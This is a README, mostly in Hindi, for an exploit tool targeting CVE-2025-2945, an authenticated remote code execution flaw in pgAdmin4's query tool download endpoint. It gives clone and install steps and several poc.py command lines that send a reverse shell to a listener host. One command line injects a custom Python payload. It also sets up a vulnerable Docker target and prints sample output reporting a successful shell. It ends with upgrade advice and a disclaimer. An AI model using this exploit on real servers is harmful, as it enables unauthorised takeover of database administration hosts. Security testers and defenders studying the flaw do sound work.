
pgAdmin4 रिमोट कोड निष्पादन (RCE) भेद्यता के लिए एक्सप्लॉइट जो संस्करण 8.10 से 9.1 को प्रभावित करती है।
लेखक: G0D150NE
संस्करण: 2.0.0
CVE: CVE-2025-2945
गंभीरता: गंभीर (CVSS 9.9)
pgAdmin4 रिमोट कोड निष्पादन (RCE) भेद्यता के लिए शोषण जो संस्करण 8.10 से 9.1 को प्रभावित करती है।
यह भेद्यता /sqleditor/query_tool/download एंडपॉइंट में मौजूद है, जहां query_commited पैरामीटर Python के eval() फ़ंक्शन में बिना सैनिटाइज़ किए पास किया जाता है, जिससे मनमाना कोड निष्पादन संभव होता है।
# Clone or download the script
git clone https://github.com/g0d150ne/CVE-2025-2945
cd CVE-2025-2945
# Install dependencies
pip install requests
मूल उपयोग
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444
वर्बोज़ आउटपुट के साथ
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
-v
कस्टम पेलोड
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
--custom-payload "__import__('os').system('whoami > /tmp/test.txt')"
संस्करण जांच छोड़ें
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
--skip-version-check
तर्क आवश्यक विवरण --target-url हाँ pgAdmin4 का आधार URL (http://RHOST:PORT/) --username हाँ pgAdmin4 लॉगिन ईमेल --password हाँ pgAdmin4 लॉगिन पासवर्ड --db-user हाँ डेटाबेस उपयोगकर्ता नाम --db-pass हाँ डेटाबेस पासवर्ड --db-name हाँ डेटाबेस नाम --Rhost हाँ रिवर्स शेल के लिए लिसनर IP --Rport हाँ रिवर्स शेल के लिए लिसनर पोर्ट --max-server-id नहीं स्कैन करने के लिए अधिकतम सर्वर ID (डिफ़ॉल्ट: 10) --skip-version-check नहीं संस्करण सत्यापन छोड़ें --custom-payload नहीं कस्टम Python पेलोड --verbose, -v नहीं डिबग आउटपुट सक्षम करें --no-banner नहीं बैनर छिपाएँ
· Python 3.6+ · requests लाइब्रेरी
pip install requests
# Docker pgAdmin vulnerable version
docker run -d -p 5050:5050 \
-e [email protected] \
-e PGADMIN_DEFAULT_PASSWORD=admin123 \
dpage/pgadmin4:8.10
# Then run the exploit
python3 poc.py \
--target-url http://localhost:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀
▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌
▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░▌
▀▀▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░▌ ▀▀▀▀▀▀▀▀▀█░▌▐░▌
▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌▐░▌
▄▄▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄█░▌ ▄▄▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀
CVE-2025-2945 - pgAdmin4 Authenticated RCE
Author: G0D150NE
Version: 2.0.0
[*] Target running vulnerable version 8.10
[*] Authenticating as [email protected]...
[+] Authentication successful
[*] Scanning for valid server (SGID: 7, max: 10)...
[+] Found valid server (SGID: 7, SID: 1)
[*] Initializing SQL editor (trans_id: 4827193)...
[+] SQL editor initialized
[*] Reverse shell payload to 10.10.14.7:4444
[*] Sending payload...
[+] Payload delivered (HTTP 500)
[*] Check listener at your endpoint
[+] Exploit successful!
[*] Check reverse shell on 10.10.14.7:4444
· pgAdmin4 को संस्करण 9.2 या उच्चतर में अपग्रेड करें · pgAdmin इंटरफ़ेस तक पहुंच प्रतिबंधित करें · मजबूत क्रेडेंशियल का उपयोग करें · उपलब्ध हो तो MFA सक्षम करें
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध उपयोग अवैध है। लेखक किसी भी दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।
· CVE-2025-2945 · pgAdmin सुरक्षा सलाह
MIT लाइसेंस